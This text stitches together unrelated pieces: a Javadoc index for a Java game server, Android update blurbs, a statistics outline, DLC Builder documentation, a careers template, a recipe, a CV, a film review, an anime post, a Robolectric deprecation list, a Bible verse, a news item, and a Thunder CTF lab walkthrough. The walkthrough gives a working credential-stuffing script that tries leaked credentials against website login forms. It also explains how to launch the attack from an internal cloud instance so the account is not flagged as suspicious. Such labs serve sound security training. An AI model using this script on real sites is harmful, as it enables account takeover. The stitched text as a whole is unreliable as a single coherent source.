- Method in class
SimpleGameController
CLIENTS_NUM
- Static variable in class
Config
collisionDetection
- Variable in class
User
computeBombRange(Bubble)
- Method in class
Map
.This function is used to compute the blasr range for a certion bubble
Config
- Class in
<Unnamed>
Config()
- Constructor for class
Config
connectHallserver()
- Method in class
GameServer
.
D
dealInfo(ReceivedInfo)
- Method in class
GameController
.
dealInfo(ReceivedInfo)
- Method in class
SimpleGameController
DELTA_SPEED
- Static variable in class
Config
direction
- Variable in class
User
.
dodgeRate
- Variable in class
User
.
G
Game
- Class in
<Unnamed>
.
GAME_SERVER_IP
- Static variable in class
Config
GAME_SERVER_PORT
- Static variable in class
Config
GameController
- Class in
<Unnamed>
.
GameServer
- Class in
<Unnamed>
.
GameServer()
- Constructor for class
GameServer
generateResult()
- Method in class
GameController
.
generateResult()
- Method in class
SimpleGameController
generateResultForHall()
- Method in class
GameController
generateResultForHall()
- Method in class
SimpleGameController
getBelongsTo()
- Method in class
Bubble
.
getDown()
- Method in class
Bubble
.
getLastRefreshTime()
- Method in class
Bubble
.
getLeft()
- Method in class
Bubble
.
getPos()
- Method in class
Bubble
.
getPower()
- Method in class
Bubble
.
getRight()
- Method in class
Bubble
.
getStatus()
- Method in class
Bubble
.
getUp()
- Method in class
Bubble
.
getX()
- Method in class
Pos
getXX()
- Method in class
UserPos
getY()
- Method in class
Pos
getYY()
- Method in class
UserPos
H
HALL_SERVER_IP
- Static variable in class
Config
HALL_SERVER_PORT
- Static variable in class
Config
I
id
- Variable in class
User
.
is
- Variable in class
User
isBlast
- Variable in class
Map
isBox(int, int)
- Method in class
Map
.
isOnline
- Variable in class
User
.
J
JSONObjectMaker
- Class in
<Unnamed>
.
judgeBlast(double, double)
- Method in class
Map
K
KEY
- Static variable in class
Config
key
- Variable in class
User
.
L
lastRefreshTime
- Variable in class
User
.
length
- Variable in class
Map
loadMap(int)
- Method in class
Map
.
M
Main
- Class in
<Unnamed>
.
Main()
- Constructor for class
Main
main(String[])
- Static method in class
Main
Map
- Class in
<Unnamed>
.
MAP_LENGTH
- Static variable in class
Config
MAP_WIDTH
- Static variable in class
Config
maxBubbleNum
- Variable in class
User
.
model
- Variable in class
User
.
N
name
- Variable in class
User
.
O
os
- Variable in class
User
P
port
- Variable in class
User
.
Pos
- Class in
<Unnamed>
pos
- Variable in class
User
.
power
- Variable in class
User
.
print()
- Method in class
Map
.
print()
- Method in class
User
.
R
ReceivedInfo
- Class in
<Unnamed>
.
run()
- Method in class
Game
.
run()
- Method in class
GameServer
.
S
send(String)
- Method in class
GameServer
.
setBelongsTo(int)
- Method in class
Bubble
.
setDown(int)
- Method in class
Bubble
.
setLastRefreshTime(long)
- Method in class
Bubble
.
setLeft(int)
- Method in class
Bubble
.
setPos(Pos)
- Method in class
Bubble
.
setPower(int)
- Method in class
Bubble
.
setRight(int)
- Method in class
Bubble
.
setStatus(int)
- Method in class
Bubble
.
setUp(int)
- Method in class
Bubble
.
setX(int)
- Method in class
Pos
setXX(double)
- Method in class
UserPos
setY(int)
- Method in class
Pos
setYY(double)
- Method in class
UserPos
SimpleGameController
- Class in
<Unnamed>
sock
- Variable in class
User
.
socket
- Variable in class
User
speed
- Variable in class
User
.
start(String, int, String)
- Method in class
GameServer
.
status
- Variable in class
User
.
T
takeCareOfGame()
- Method in class
GameController
.
THRESHOLD
- Static variable in class
Config
time
- Variable in class
ReceivedInfo
.
U
UNWALKABLE_ED
- Static variable in class
Config
UNWALKABLE_ST
- Static variable in class
Config
updateBox(int, int, long)
- Method in class
Map
.
updateBubbles(ArrayList<Bubble>, long)
- Method in class
Map
.
updateUser(Game, User, long)
- Method in class
Map
.
User
- Class in
<Unnamed>
.
USER_ED
- Static variable in class
Config
USER_NUMBER
- Static variable in class
Config
USER_ST
- Static variable in class
Config
UserPos
- Class in
<Unnamed>
W
WALKABLE_ED
- Static variable in class
Config
WALKABLE_ST
- Static variable in class
Config
width
- Variable in class
Map
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By downloading & installing this update it will remove bugs and make your phone more stable, this will also patch your phone with new security fixes to protect your device...
Go to Settings > System > About Phone, device system information will be located in this section.
PLEASE NOTE: This update will not be rolled-out to all Android devices...
infoMore InfoGive android 8.1 Oreo a spin before its full release, this update doesn't have a lot to change but will bring a few improvments to your device. If you have a Google Pixel 1st gen you will find the home screen has been update to the Google Pixel 2nd Gen home screen. No major changes to Nexus devices
infoMore InfoDon't you just hate having to remember all of your passwords? well fear no more because in Oreo 8.0 all of your passwords that you've saved on your Google account will be used to auto fill in any app data that needs you to log-in.
In Oreo your device will kill off any apps that have been unused to free up device RAM to ensure your device can stay running smooth no matter the age of it.
 Need to check something quick? Now you can with pcture in picture mode on your device.
These handy little dots help you see which apps have unread notifications so you'll never miss a notificaion again. Just look for these dots on each app icon...
Is your device running low on storage? Want to use an app but can't install but have to use Google to access the website? Well don't worry because now you and get most of the app functions and design on your device without the need to install.
How this works is you use Google and find the site you want, if Google can find an app in the Play store but isn't installed on your device it will open it as an Instant App so you won't need to install or remove any of your apps.
Be forever safe with Play Protect. Your device safe and secure with Play protect, apps that you have installed will be scanned every few days to make sure these don't hold any horrible viruses, malware or any other mean horrible things. Thats not all Play protect will scan every app on the Play store to make sure they meet Googles regulations and so your device stays safe.


- Review
- Sources of error
- Sample statistics and population parameters
- Measurement
- Model Assumptions
- Equal variance, Independence
- Measurement Scale, Distribution of the Outcome
- Independent Samples t-Tests
- What is the null-hypothesis and how do you "test" a hypothesis?
- What is a t-Test?, When to use a t-test?
- Examples
- Next Class


Priest Primos:
So you seek the knowledge of Einhasad? I'm afraid I can't help you. I am embarrassed by the faithful. There are many truths concealed in the shrine's interest... There is nothing I can do about it...
If you want to know about Einhasad you should go to see Priest Petron of Talking Island.


Linux: a distro that can run GUI applications created with Avalonia
Wwise 2019/2021
Converting audio files to wem requires Wwise 2019 or 2021 to be installed.
During the installation, check only “Authoring” in Packages and leave all Deployment Platforms and Plug-ins unchecked (unless you need them for something else).
After the installation, you may need to run Wwise once, otherwise the automatic conversion may not work.
On Windows the program will try to find the Wwise installation automatically using the WWISEROOT environment variable, which can be set from the Wwise Launcher, or from the default installation path in Program Files. You can also manually set the Wwise console executable path in the configuration.
On Linux, Wine is used to run the Wwise console executable.
Test Build vs Release Build
Test Build
The package for the current platform will be built into the folder specified in the configuration (creating a subfolder in the RS DLC folder is recommended). Generation of DD levels may be disabled and the App ID can be changed to a custom one.
If RS is running, new packages will be created that have a different DLC key and arrangement IDs, with the version in the song title. This allows you to load a new test version into the game by triggering the DLC enumeration.
If RS is not running, any previous test builds for the project will be replaced with a single package.
Release Build
Will build the package(s) (both Mac and PC by default) into the project folder. DD levels will be generated if the XML files do not already have them and the App ID is hard-coded to Cherub Rock.
Arrangement Improving Features from DDC Improver
Will be used when “Apply Improvements” is enabled.
Moving of phrases with special “moveto” phrase name (“mover” is more convenient to use and should not fail in case the sync is adjusted)
“FIXOPEN” special chord name (rarely needed, the implementation was not very good)
“OF” (one fret) special chord name (rarely needed, can also be created manually in most cases)
Removing of “anchor placeholder” notes
Creation of tone change events (pointless)
Using the Phrase Mover
Phrases can be moved off beat by giving the phrase a special name: “mover#”.
This will move the phrase right by # notes, where the number must be 1 or more. 1 will move the phrase to the next note/chord.
Chords and split chords count as one. If the phrase is located on the same timecode as a note/chord (sustain of a previous note does not count), it counts as one.
In the above case, the phrase and section will be moved to start at the G power chord.
If an anchor (FHP) is set at the start of the phrase, it will be moved to the new position. The anchor at the old position is deleted if there is no note at that position.
Depending on your hardware and the project, building of packages can be 6-10 times faster compared to the Toolkit + DDC.
Memory use is more efficient. As an extreme example, building a complete discography chart: DLC Builder ~250MB vs Toolkit ~2.4GB (the 32-bit version runs out of memory). In regular use however, the DLC Builder may use more memory due to the 64-bit architecture, the UI library used, use of memory pooling, etc.
Reading the available tones from a profile file, opening the tone editor and removing DD levels are much faster.
Features of DLC Builder Not Available in the Toolkit
Automatic calculation of volume values for audio
Optional checking of the arrangements for various issues
Creation of a preview audio file that has fade-in and fade-out similar to official files
Per-arrangement custom audio files
Multi-part tone descriptions with some extra options to select from
Possibility to easily build a version of the project where the tuning is changed using a pitch shift pedal
Tone collection for storing tones or adding an official tone into a project
Inject tones into a profile file
Features of the Toolkit Not Available in DLC Builder
Support for console platforms
Support for Rocksmith 1
Quality of Life
Album art image is displayed in the UI
Importing tones from the profile is more convenient
Common hotkeys: Ctrl+N, Ctrl+O, Ctrl+S, …
Remembers the five recently opened projects
Better at opening templates created with old versions of the Toolkit than the Toolkit itself
The UI prevents you from creating two main arrangements (represent = 1) for the same path
Option to remove DD levels when importing a PSARC
Nicer looking tone editor that prevents gaps between gear slots
Command to generate new IDs per arrangement or for all arrangements
No arbitrary limitations on what characters can be used in artist/song names or their sort values
The program does not stop responding while building a package
The currently open project is not closed when the configuration is changed
The UI is localizable into different languages
Generated Package Minutiae
Since the Toolkit generates packages that work just fine, most of it probably does not matter, but some of the details in the generated manifest, SNG and aggregate graph files are closer to official ones.
Differences in the DD Generator Compared to DDC
Will not create or move phrases
Will always generate at least two difficulty levels for any kind of phrase that has notes/chords
Preserves anchors in noguitar sections
Should not create cases where a note is followed by a pull-off note on the same fret/string


{% extends "../jobprofile2.html" %}
{% block page_title %}
Find a career
{% endblock %}
{% set profileName = "Software developer" %}
{% set profileSecondaryName = "Programmer" %}
{% set profileSalary = "£20,000 - £70,000" %}
{% set profileHours = "37 - 40" %}
{% set profileDescription = "Software developers design, build and test computer programmes for business, education and leisure activities." %}
{% block content %}
{% set serviceName = 'Find a career' %}
{% set bannerStyle = 'BETA-style' %}
You could: Whichever way you go, you'll usually need 4 or 5 GCSEs including English and maths at grades 9 to 4 (A* to C) or equivalent qualifications, plus some programming ability or a strong interest in the subject. You could do an advanced apprenticeship as a software development technician. It will usually take 12 to 18 months. You can then move onto a higher apprenticeship as a software developer. This can take between 1 and 4 years. You could do a foundation degree, higher national diploma (HND) or a degree in a subject like: UCAS has information on degree courses and entry requirements. You can apply for student finance to cover fees and living costs for higher education. Full-time courses at university usually take 3 years. College and HND courses take 2 years full time. Find a college course near you. You may be able to get financial help to study at college. Many software developers teach themselves and there are many free online learning resources available. Particularly if you have taught yourself, companies will look to see if you are someone who understands programming languages and frameworks, project management and software development methods. The Chartered Institute for IT (BCS) has more information about training and qualifications. You'll need: It takes 10 to 15 minutes. You could work in a wide range of businesses and industries, public services, utilities, defence and research. You'll work closely with project managers, business analysts and graphic designers, to find out what the client wants and the best way to achieve it. Usually, you'll work in a team. You could work on a wide variety of projects, from financial databases to robotics to apps for phones and tablets. You may use a number of programming languages or project management tools. Your day-to-day tasks may include: As an experienced developer, you may supervise a programming team and provide feedback on coding work. Starter: £20,000 to £30,000 Experienced: £30,000 to £40,000 Highly experienced: £50,000 to £70,000 These figures are a guide. You'll usually work 37 to 40 hours a week. You may need to do overtime and weekend work to meet deadlines or to fit around your client's business. You'll be office-based but may travel to meet clients and fulfil contracts. You may need a full driving licence. With experience, you could become a senior developer, with team or project management, planning or research responsibilities. You could move into related areas like systems design, IT architecture and business systems analysis. You could also set up your own business or work as a consultant.1. How to become
Apprenticeship
College or university
Home study
2. Skills required
Check if your skills match >
3. What you'll do
4. Salary
5. Working hours, patterns and environment
6. Career path and progression
7. Current opportunities
Last updated: 23 March 2016
{% endblock %}


An Angular app that let's someone search Github Account's repositories and display informations from Github Account !!!


Third studio album with music featuring a more diverse sound consisting of aggressive rock song and ballads.
| Track # | Track Title | Track Length |
|---|---|---|
| 1 | Last Exit | 2:54 |
| 2 | Spin the Black Circle | 2:48 |
| 3 | Not for You | 5:52 |
| 4 | Tremor Christ | 4:12 |
| 5 | Nothingman | 4:35 |
| 6 | Whipping | 2:35 |


Rice
Rice is easy to make in any pot.
The simple use of different spices can change its use or what it accents.
Ingredients
- rice
- chicken stock (optional)
- onion or garlic (optional)
- lime and cilantro (optional, for a Mexican taste)
Directions
- Add some amount of rice to a pot that has a cover.
- Add twice as much liquid to the same pot. Water is typical, but for extra flavor, use stock or broth.
- If desired, dice onion or garlic and mix into rice.
- Cover the pot, put it on the stove and turn the heat on the highest level.
- As soon as you hear the water beginning to bubble and boil over, turn the heat down to low and allow it to simmer.
- Wait for twenty minutes or so until the liquid has evaporated and the rice will be ready.
For Mexican rice
For Mexican rice, you might want to avoid cooking in stock to avoid taste clashes.
- Dice up some cilantro.
- Mix in cilantro to finished rice, along with some squeezes of lime juice.
Contribution
Recipe tags:
basic
rice
side
fasting


Land Registry
Admin Page
Register Land
Register Owner
Search Land
Search Owner
Register Land
Land Owner
Land ExOwner
District
Taluk
Village
Patta Number
ID
Register Land
Register Owner
Adhaar Number
Owner Address
Son Of
Town
ID
Register Owner
Search Land Using ID
ID of Land
Land Information
Search Owner Using ID
ID of Owner
Owner Information


CSF UNN
vineyard workers community
The place where friends are brethren and brethren are friends
THE LIFE OF A VINEYARD WORKER


My projects have been in many diverse areas such as Computer Graphics, Computer Vision, Finance, Simulation, Robotics, Machine Learning, Real-Time System Design, Psychology, Biokinesiology, Microbiology, Philosophy, Number Theory, among others.
I worked as a researcher at USC during my PhD in Neuroscience where I focused on designing, simulating and implementing a variety of algorithms on robotic systems as well as cadavers for research in Neuromuscular Biomechanics. I later worked at Vidrio Technologies LLC creating laser microscopy and image analysis software for Neuroscience. I also worked at Fitch Solutions where I delivered high-stake, financial features to our clients using a broad variety of technologies.
I currenlty work as a Data Scientist and Senior Software Engineer as an Independent Contractor. My preferred weapons of choice are currently Python and C++17.
Fitch Solutions 2016-01-01 — 2017-01-01
Fitch Solutions 2016-01-01 — 2016-01-01
Vidrio Technologies 2014-09-01 — 2016-01-01
Developed code for ScanImage and other software projects using C, C++, Matlab and Labview FPGA and participated in the design and implementation of software and system architecture for relevant projects.
QuetzalCodetl 2014-08-01 —
University of Southern California 2011-01-01 — 2014-01-01
I designed, simulated and implemented Machine Learning and biologically inspired algorithms for controlling custom-made tendon-driven robots.
Institute for Robotics and Intelligent Systems, USC 2010-06-01 — 2010-08-01
I was tasked with designing and implementing a system to recognize 3D gestures using C++ and real-time, point-cloud data from a PrimeSense 3D sensor. I was able to develop a system to recognize simple 3D hand-gestures using a simplified Dynamic Time Warping approach and later a modified Hidden Markov Model approach. Once a gesture was recognized the system sent commands to third party software applications. The project was developed using C++, OpenGL and OpenCV, in addition to Microchip assembly language for an input board.
Universidad Autonoma Metropolitana 2018-10-15 — Present
University of Southern California 2010-12-31 — 2015-12-31
University of Southern California 2010-12-31 — 2012-12-31
Northwestern University 2012-07-01 — 2012-07-31
Universidad Nacional Autónoma de México 2005-12-31 — 2010-12-31
Microsoft Research Laboratory 2009-07-01 — 2009-07-31
Neuromorphic meets Neuromechanics: Part I 2016-12-31
Niu CM, Jalaleddini K, Sohn WJ, Rocamora AJ, Sanger TD, Valero-Cuevas FJ
ScanImage for Closed-Loop Cellular Resolution Brain Imaging and Stimulation with Two-Photon Laser Scanning Microscopy 2014-12-31
N. Clack, G. Jaindl, J. King, A. J. Rocamora, B. Kimmel
Robustness of Policy Learning for Optimal Control of Motion of Tendon-Driven Systems 2013-12-31
Rocamora AJ, Buchli J, Valero-Cuevas FJ.
Physiologically-Based Control of a Robotic Tendon-Driven System 2012-12-31
Rocamora AJ, Niu CM, Buchli J, Sanger TD, Valero-Cuevas FJ.
Series Elastic Element is Critical for Stabilizing a Tendon-Driven Robotic Joint controlled by Physiologically Realistic Models 2012-12-31
Rocamora AJ, Niu CM, Sanger TD, Valero-Cuevas FJ
Assessing the Role of Neuromuscular Components using a Tendon-Driven Robotic Plant controlled by Neuromorphic Hardware 2012-12-31
Niu CM*, Rocamora AJ*, Valero-Cuevas FJ~, Sanger T.~ * denotes equal contribution, ~ denotes equal leadership
Force-Velocity Property of Muscle is Critical for stabilizing a Tendon-Driven Robotic Joint controlled by Neuromorphic Hardware 2012-12-31
Niu CM, Rocamora AJ, Sohn WJ, Valero-Cuevas FJ, Sanger TD.
A Stochastic Spiking Network Model of Sensorimotor Control 2011-12-31
Ghoreyshi A, Sanger TD, Rocamora AJ.
A Spiking Neuron Model of Sensorimotor Control and Learning 2011-12-31
Ghoreyshi A, Rocamora AJ, Sanger TD.
The Zeta Function Enigma (El Enigma de la Función Zeta) 2006-12-31
Rocamora AJ.


Maude Mensah Simpson
Software Developer
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NOSFERATU: THE FIRST VAMPIRE ***1/2 (out of four) -by Bill Chambers<EMAIL_ADDRESS>(Life is harsh; your website shouldn't be. http://www.geocities.com/Hollywood/Set/7504 aka FILM FREAK CENTRAL)
starring Max Schreck, Gustav von Wangenheim, Greta Schroder, John Gottowt written by Henrik Galeen directed by F.W. Murnau
Available in an all new video edition from Arrow Entertainment ($29.95), with an introduction by David Carradine, written & produced by Wayne J. Keeley
F. W. Murnau's career ended sadly and prematurely. The German director of such classics as "Sunrise" and "The Last Laugh" died in a car accident shortly after signing a deal to make American pictures at Paramount. Murnau was reportedly a giant man, well over six feet, a towering figure probably incapable of anything but a grand entrance. Which brings us to "Nosferatu: A Symphony of Horror": surely he felt a kinship with his title character, the looming vampire embodied by intimidating Max Schreck; in one of the most indelible images in film history, silent or otherwise, Schreck rises from his grave, gnarled hands outstretched, and he's so big that part of his head is cropped by the top of the frame.
The plot of "Nosferatu..." is lifted--unauthorized--from Bram Stoker's "Dracula". The British Hutter is an eager real estate man assigned to visit and discuss future living arrangements with Count Orlock of Transylvania. He leaves behind girlfriend Emily, only to discover Orlock's secret--he's a bloodsucker--and struggle to return to England before the nosferatu reaches his lady love. In addition to Schreck's performance, the cinematography and effects are outstanding.
Arrow Video's digitally remastered version of the classic is something of a mixed-coffin.  Trouble is, Murnau's monster is pale-faced, bald, pointy-eared, and non-goateed, and there isn't a single sexy, writhing woman to be found in his movie. This sort of misleading packaging makes little sense when one recalls the countless number of ghouslish scenes in the film from which cool cover art could have been extracted. Additionally, notifying the viewer that this is in fact Murnau's film seems like afterthought since his name and the genuine title are written in small print below our goateed vampire.
That said, a good mastering job has been performed on the film itself. The original elements are not in the best condition--non-studio silents were unlucky in their preservation-- so we're still dealing with a slightly washed out, scratched, jittering image. But at least the day and night scenes are tinted sepia and blue, respectively, especially helpful to an audience who may question Nosferatu's waltzing around during what seems like sunlight (it took a lot of light to expose stock in the twenties). The title cards have been redone, and they are legible, accurate, and digitally altered to flicker--a very nice touch. (Even the opening copyright warning flickers!) The score has been replaced by music from Type O Negative, a hard-rock group, arguably gothic, and their songs underscore the film nicely-- certainly the coolest video a band can ask for. When our hero, Hutter, first steps onto the doomed carriage to Count Orlock's castle, we hear a well-timed "Now you're dead!" from lead singer Peter Steele.
David Carradine makes an appropriately vampiric host; he fiddles with a blade and cane while introducing the film. After the feature, which runs about 63 minutes, is included a new music video from Type O Negative, the black-and-white fang-fest "Black No. 1". Of course, "Nosferatu: A Symphony of Horror" is the main attraction, and while my latest viewing raised questions (Why is the woman called Emily in the title cards but "Mina"--as Bram Stoker called her--in Hutter's letters?, for instance), it made me realize how much this movie has inspired and been stolen from. Coppola's 1992 "Bram Stoker's Dracula" owes a great stylistic debt to Murnau's masterpiece, but the one thing it couldn't thieve was the original's abstract charms. This latest incarnation from Arrow will probably- -like the rescored "Metropolis" a few years back--turn a silent film into more palpable entertainment for the latest generation of film freaks.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
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Related links: index of all rec.arts.movies.reviews reviews


Weekly posts including discussions, analysis, news and so forth.
December 3rd, 2020
To get out of Gluttony's stomach, Edward has to transmutate the souls in the philosopher's stone that
is embedded into Greed's body.
The souls serve as a "toll" to open the door of truth. Whenever
an alchemist transmutates a human, they are broken down both physically
and mentally, and
become part of the flow. Becoming part of the flow means the truth of the world is forced into the
alchemist's mind.
The thing about this though, is that the amount of knowledge you gain depends on
the size of your "toll". In the past Edward has only
learned parts of the truth, so this time he learns a
little bit more.
The thing he "learns" in this case is the truth about his brother's body, waiting inside the doorway
of truth. Throughout the series
the brothers have searched for answers on how to get the body back,
and whether it's possible in the first place. Encountering his
brother's body is his first proof of that it
still exists, there is still hope. Seeing Alphonse's body, Edward begs "it" to follow him
to the physical
plane, where his brother's soul is waiting. The body replies that it can't, since Edward is not his soul.
Edward is
sucked in through the door to return to their world. The door shuts, and a few seconds pass
by, before Edward busts open the door of
truth and tells his brother to wait, he will definitely come
back to get Alphonse.
Honestly it's extremely difficult for me to REALLY start breaking down this scene alone because it
will lead to me writing essays about the
whole series. This part is very important precisely because
it's a sign of hope for Edward, which is what the character itself represents
to me, not giving up, and
keep looking for the truth, because there is never only one. The way he busts open the door of TRUTH
pretty much
sums up his character, if he had to be summarized (plus you have to admit, it's beyond
badass).


| Package and Description |
|---|
| org.robolectric.shadows.httpclient |
| Class and Description |
|---|
| org.robolectric.res.Attribute
Rather than use
RoboAttributeSet and Attribute please use Robolectric#buildAttributeSet instead.
This class will be removed in the next version of Robolectric. |
| org.robolectric.MultiApiRobolectricTestRunner
Use
RobolectricTestRunner instead. |
| org.robolectric.fakes.RoboAttributeSet
Use
Robolectric#buildAttributeSet() |
| org.robolectric.shadows.ShadowHandler
There is no special shadow implementation for the
Handler class. The special
handling is all done by ShadowLooper and ShadowMessageQueue . This class has been retained
for backward compatibility with the various static method implementations. |
| org.robolectric.shadows.ShadowIntentFilter
This shadow is no longer needed and will be removed in the next release of Robolectric.
|
| org.robolectric.shadows.ShadowLocation
Use methods directly on
Location instead. This class will be removed
after Robolectric 3.2. |


2 Kings 8:28
And he went with Joram the son of Ahab to the war against Hazael king of Syria in Ramothgilead; and the Syrians wounded Joram.


Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create websec/b2stuffing
Creating this level will start several vulnerable websites which we can use to attack.
A list of possible credentials are provided. One of the credential can be used to login one of the website
Use attack.py or write your own code to find this valid credential by trying each credential with every website
Note:Vulnerable websites are built with identical html templates
---List the instances in the project.
gcloud compute instances list
You should be able to see two instances listed.
b2-container-vm-X: The application you will attack is running on these machines. (Take note of their EXTERNAL_IP and INTERNAL_IP)
b2-attack-instance: We are going to launch attack from this instance.
---Try browse website using EXTERNAL_IP in a browser
Use Chrome webtool(f12) or Firefox debuggerto inspect the login form
We can find that the name attributes of text inputs in login page are 'username' and 'password'(we will use this information in our code later).
Since the level is using the same html template for all websites, you only need to inspect one of the them.
---Navigate to thunder-ctf/scripts/b2.
Take a look at attack.py and replace INTERNAL_IP/EXTERNAL_IP
import requests #possible creds generated by level #one of them is valid for one of your web app from credentials import creds #url='http://YOUR_INTERNAL_IP/login' urls=['http://<IP_ADDRESS>/login', 'http://<IP_ADDRESS>/login','http://<IP_ADDRESS>/login'] for url in urls: for u in creds: #prepare data for post request payload={'username':u,'password':creds[u]} #send username and password through post method to web app url post=requests.Session().post(url, data=payload) #check if respond text contains invalid credentails if 'Invalid credentials' not in post.text: #print valid username and password print(u+' '+creds[u]+' ' + url )---
If you want to attack from your local system which has pyhton installed. You can download scripts/b2 with the code below and use ENTERNAL_IP in your attack script
cloudshell download scripts/b2/*
or
If you want to use google cloud environment and avoid your account being suspended for suspicious activity, you need to launch attack with INTERNAL_IP from another instance.
b2-attack-instance and b2-container-vm-X are created in the same VPC network, so they are allowed to communicate with each other via internal ips
Copy scripts/b2 from cloud shell into your attack instance
gcloud compute scp --recurse scripts/b2/* b2-attack-instance:~/
SSH into your attack instance
gcloud compute ssh b2-attack-instance---
Run attack script
python3 attack.py
You should see valid credential along with the ip printed in your terminal.
---Try if you can login with printed credential in a web browser
---More writeup ...


US small plane crash fatalities increased in 2018, NTSB says
The number of people killed in plane crashes in the U.S. increased by about 13% in 2018, according to data released by the National Transportation Safety Board.
Interested in Airlines?
Add Airlines as an interest to stay up to date on the latest Airlines news, video, and analysis from ABC News. Airlines Add Interest
Civil aviation fatalities rose from 347 in 2017 to 393 in 2018, NTSB officials said. The increase means that, on average, there was at least one aviation death per day in 2018.
The death toll included Jennifer Riordan, the first commercial airline passenger killed in the U.S. in nine years.
The overwhelming majority of aviation fatalities involve small, private airplanes, and not large commercial airliners. But on April 17, 2018, Riordan died on Southwest flight 1380 after shrapnel from the engine broke the window next to her seat and she was partially sucked out of the aircraft.
Other passengers pulled her back into the cabin and tried unsuccessfully to perform CPR.
According to the Federal Aviation Administration, there are around three small plane crashes in the U.S. per day.
In 2018, 46 more people were killed in aviation accidents than year before, leading the fatal accident rate to rise above 1 per 100,000 flight hours for the first time in two years.
“It is disappointing to see the fatal general aviation accident rate increase after two years with the rate below 1 per 100,000 flight hours,” NTSB Chairman Robert L. Sumwalt said in a statement.
NTSB officials said the statistics do not point to a specific reason for the increase in aviation fatalities, but that they are committed to addressing and highlighting any safety related issues.
On Tuesday the NTSB is expected to hold a board meeting to determine the probable cause of the engine failure that led to Riordan's death on Southwest flight 1380.